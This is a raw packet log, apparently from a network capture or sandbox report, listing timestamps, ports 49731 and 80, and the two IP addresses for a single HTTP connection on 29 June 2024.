Jun 29, 2024 08:05:17.872932911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872962952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.872984886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873038054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873070002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873090982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873121023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873153925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873177052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873217106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873244047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873276949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873310089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873331070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873347998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873377085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873425961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873461008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873490095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873509884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873534918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873569965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873598099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873627901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873646975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873678923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873707056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873739958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873756886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873783112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873816013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873847961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873867989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873888969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.873919010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873953104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.873986006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874020100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874039888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874069929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874094009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874126911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874160051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874181032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874212027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874244928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874268055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874298096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874321938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874355078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874383926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874403954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874433994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874468088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874486923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874517918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874552011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874572992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874603033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874658108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874679089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874706984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874752045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874768972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874794006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874828100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874847889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874877930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874902964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.874933958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874967098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.874986887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.875011921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.875041008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.875076056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.875097990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.875158072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.877114058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.877166986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.877193928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.877216101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.877238989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.877288103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.877310991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.877343893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.877363920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.877394915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.877414942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.877448082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.877470970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.877500057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.877521992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.877741098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.949273109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.949347973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.949367046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.949430943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.949467897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.949517965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.949547052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.949583054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.949615002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.949647903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.949681997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.949707985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.949744940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.949790955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.949824095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.949845076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.949883938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.949898958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.949948072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950015068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950031996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950069904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950102091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950119972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950144053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950176954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950196981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950236082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950249910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950280905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950315952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950339079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950371027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950402975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950423002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950457096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950479984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950514078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950546026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950567007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950594902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950618029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950651884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950683117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950720072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950752974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950772047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950793028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950824022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950860977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.950885057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.950941086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.960787058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.960820913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.960863113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.960875988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.960896015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.960922003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.960963964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.960998058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961030006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961054087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961075068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961134911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961169004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961189985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961227894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961296082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961349964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961375952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961404085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961426020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961476088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961509943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961535931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961561918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961585999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961622000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961668015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961693048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961724997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961745024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961771011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961796999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961850882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961882114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961925030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961966038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.961986065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.961986065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962007046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962037086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962069988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962101936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962122917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962153912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962177992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962208033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962249994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962268114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962268114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962291956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962348938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962382078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962402105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962430000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962451935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962486982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962506056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962546110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962559938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962610960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962632895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962661982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962703943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962718964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962758064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962773085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962804079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962829113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962876081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962909937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.962930918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.962960958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963009119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963032961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963064909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963087082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963114023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963140011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963191032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963223934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963255882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963275909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963300943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963335991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963368893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963416100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963428974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963459969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963501930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963521957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963521957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963545084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963582993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963615894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963635921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963661909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963689089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963721991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963762999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963783026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963783026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963810921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963841915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963874102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963897943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.963928938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963959932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.963984966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964005947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964034081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964066029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964097977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964131117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964149952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964173079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964201927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964235067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964277029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964297056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964297056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964317083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964345932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964380026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964409113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964442015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964462042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964525938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964556932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964587927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964611053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964638948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964662075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964694977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964729071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964751959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964773893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964803934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964843035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.964879036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.964898109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.966763973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.966814995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.966850042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.966872931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.966905117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.966923952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.966958046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.966991901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.967014074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.967037916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.967066050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.967098951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.967148066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.038995981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039056063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039089918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039143085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039176941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.039196968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.039220095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039252996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039304018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039355040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.039376974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039407969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039441109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039462090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.039493084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039539099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.039566040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039599895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039643049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039657116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.039707899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039742947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039766073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.039796114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039828062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039848089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.039899111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039932966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.039972067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.040003061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.040036917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.040060997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.040091038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.040141106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.041825056 CEST	80	49731	81.28.12.12	192.168.2.4
